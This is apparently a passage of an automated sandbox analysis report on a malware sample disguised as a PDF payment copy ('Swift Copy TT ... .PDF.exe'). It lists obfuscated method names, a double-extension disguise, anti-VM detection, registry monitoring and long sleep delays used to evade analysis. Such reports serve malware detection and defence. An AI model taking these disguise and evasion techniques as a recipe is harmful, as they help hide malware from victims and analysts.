Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, nQ7wrtOUeqtYQkPrOP.cs	High entropy of concatenated method names: 'Db8M4R0Hmp', 'js1MrA49jI', 'mmEMgHZsD4', 'ey6MxSPn8a', 'SagMHB3QYe', 'E71M1JAk3J', 'P93Mt0F4Lm', 'rCZMeJevIs', 'wQjMITYJHi', 'thmMYtBfS2'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, jU4QiGWcKqOGdqRA7H.cs	High entropy of concatenated method names: 'ToString', 'JDDqsYAahk', 'KKNqrG6Nbk', 'eyaqg4SsuQ', 'DvxqxgJ5Ir', 'PRxqHlU6ba', 'Rbnq1lbe6o', 'HZ9qtieX1g', 'KLHqevNFOc', 'MMWqINxIs6'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, Cvg56jCKLuGN9qnAmj.cs	High entropy of concatenated method names: 'RgOUGfp5YA', 'TOKU0BTw5s', 'tDUUoFBWiH', 'tB3UndQGbT', 'XUgUM2tVr2', 'JlnUvhVJvT', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, A2a2n9jgNGDhXoeYbl.cs	High entropy of concatenated method names: 'cE6MTvx2ta', 'vCaMhMjhRn', 'vt3MMaK9LQ', 'BUqMfXOvPA', 'roDMA5BIcD', 'ywxMcw37ol', 'Dispose', 'eMHFlFOBhO', 'UntFLiu6c3', 'dJ7FGj1rer'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, rMB5jG4QCpHfhvHovr.cs	High entropy of concatenated method names: 'OLTo90hjoo', 'REXoL2T6rL', 'P4qo0uPjd0', 'SI3ontHvC4', 'IyJovVxWkW', 'zZY0uuorgs', 'Eq30Bh4von', 'YiU0jZKtRQ', 'b8T0EDQK0o', 'VDZ0OuosmW'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, YiBkDligENmtVURwGC.cs	High entropy of concatenated method names: 'scTh7SGolb', 'Xx0h6MOZ07', 'ToString', 'aENhlTZeKH', 'jyuhLBCgiK', 'jTphGyDTBk', 'gRoh0OjOJj', 'BViho7rOfC', 'E66hnnSU1J', 'vLohvF7A5U'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, HBAAU6Zc1wT5mNwguv.cs	High entropy of concatenated method names: 'aCq0R2Hdxh', 'BMd0KHl48O', 'B9yGgV0XAt', 'KcmGxvgcVX', 'mFRGHggDcH', 'bNKG1wmEBF', 'IMTGtpdEMY', 'JZDGe6h5Yp', 'vYJGIAD3LR', 'jRWGYHTbFH'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, BQD6XWzbHEffuGqKR0.cs	High entropy of concatenated method names: 'kWWUmXHWUK', 'EO6UQmevYC', 'y4MUkWs9ud', 'JuOU4RFqFs', 'Oc4UrXXNov', 'r32Ux4UiCt', 'l9BUHqvXWB', 'lW3Uct9Jgs', 'EwBU8ECyLh', 'TpfUpLLUFI'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, fqhchwBgphISV1i3HW.cs	High entropy of concatenated method names: 'VYQhEmLMc9', 'TEKhCrGr8Y', 'UmaFNdJCOs', 'mWfFJGITvM', 'u6Fhsurqgu', 'rENh2Z6wfJ', 'fvehafKeIe', 'JTjhVsxBvF', 'qqKhP29f31', 'r44hW3AKFM'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, OPPpkDkjPXW6MvfLTh.cs	High entropy of concatenated method names: 'A2TGDtB9BW', 'KrmGm5PerZ', 'c77GQ1Dy7x', 'OGpGkRQFOr', 'YAoGTLR4SH', 'EP8Gq7bLyK', 'dIFGh1gVEB', 'kH2GFZuGhN', 'FPmGMn3D0a', 'iy5GUfSIfn'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	High entropy of concatenated method names: 'ittw9bmqBI', 'LDiwlJ1Vx8', 'YHgwLwCWp3', 'auKwGRkx7u', 'p5Pw0j2qef', 'F6IwosHllH', 'xQ2wngomO6', 'kVXwvrqq3h', 'YGDw5iL08O', 'bflw7BhXQS'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, sphcUmQKOWkVh4kjRk.cs	High entropy of concatenated method names: 'QB7LVw5mcx', 'VHkLPstL5w', 'f46LWYkC3h', 'xalLiyHD7F', 'OFwLuDBS5l', 'rYwLBSZZqS', 'PakLjIbFlF', 'S6WLEYkL0x', 'R8aLOx6tjA', 'F0QLCrFaAo'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, brR4fRI3jDiiDKeLQt.cs	High entropy of concatenated method names: 'Bcqn8NaLmS', 'PXRnpmqrv8', 'UlanX3i8Pc', 'R1TnDVFf9p', 'QBDnROCfJE', 'ga8nmFSM1Y', 'YapnKUuusg', 'OnOnQavg4D', 'lAPnkaVMYu', 'cIonZQjllw'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, OP5y05SJkYcDfUh8rR.cs	High entropy of concatenated method names: 'z1UJnphcUm', 'COWJvkVh4k', 'AjPJ7XW6Mv', 'tLTJ6hrBAA', 'awgJTuvMMB', 'ljGJqQCpHf', 'EnneT0fmsqaX4YKcF2', 'r0Mi8UD0tZdAXtvaN8', 'sCAJJZoexA', 'W62Jw9yxDR'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, wlMmXiamMflVnhmrlw.cs	High entropy of concatenated method names: 'wCldQyZ4kP', 'PnvdkTViGj', 'eDKd4HlZe1', 'SDrdrh6vR2', 'VuAdxSdsuM', 'SsddH75tVO', 'qsvdtoHgPa', 'W9SdeepSjO', 'kn3dYuHwGa', 'WdJdsHseQb'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, sFr5UQ3VBmJh4eof1E.cs	High entropy of concatenated method names: 'ng6Xj58xJ', 'KZRDLqdwD', 'Jv8mPhmsx', 'rGFKOhZW5', 'hL1kOjnnr', 'ksLZtM7Ro', 'e1YaOdGlHTresbxUDQ', 'DlDLl23ljtNNi3L0Jm', 'Q37FBm4g7', 'ICfU7HnKT'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, hv2DojJN0ku3NnWw1iq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'y9sUscGeVe', 'bdAU2lw3Pc', 'rQfUaRC3TA', 'aoUUVPCuYZ', 'S7lUPQn3U8', 'jNPUWxHSUg', 'bXEUioEja1'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, wPm8JEVKZAg6qnsJjZ.cs	High entropy of concatenated method names: 'iIWTY0T8MD', 'YwTT2GljJE', 'C5FTVH0ORo', 'VfpTPbZalW', 'onQTrA221k', 'yl7TgeByDM', 'E4WTxZwABU', 'xB8THXg2Bx', 'MBNT1m6CDK', 'EOJTtDqys8'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, VbT0MOLP8g50MBtTv3.cs	High entropy of concatenated method names: 'Dispose', 'hDhJOXoeYb', 'iwi3rtt17J', 'Mwxa1b5Qna', 'fV4JCS0v8D', 'p3XJzCQFZs', 'ProcessDialogKey', 'uv63NQ7wrt', 'seq3JtYQkP', 'GOP33Kvg56'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, HKxMO2JJUh9Xie2wOrL.cs	High entropy of concatenated method names: 'd1lUCO2c2u', 'NOBUzv8kq3', 'kbwfNRuLal', 'GW2fJHkYfa', 'PpVf3AcO2q', 'cLmfwbRKUn', 'SjVfSJEyTW', 'dOGf9nNk8j', 'DRifleVKN8', 'udFfL5Oo0f'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, wYYTswJScuZEGg3uOyx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gbDyMA1YiI', 'GJdyU9IqKl', 'MEKyf4mVgt', 'wIOyyfN2Kx', 'AtOyA5QFiF', 'vZBybivFWR', 'wLFycb6Wml'

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: Swift Copy TT USDUSD$23,401.PDF.exe

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 2C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 4C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 8FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 9FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: A200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: B200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: BC00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: CC00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: DC00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 1040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596343	Jump to behavior
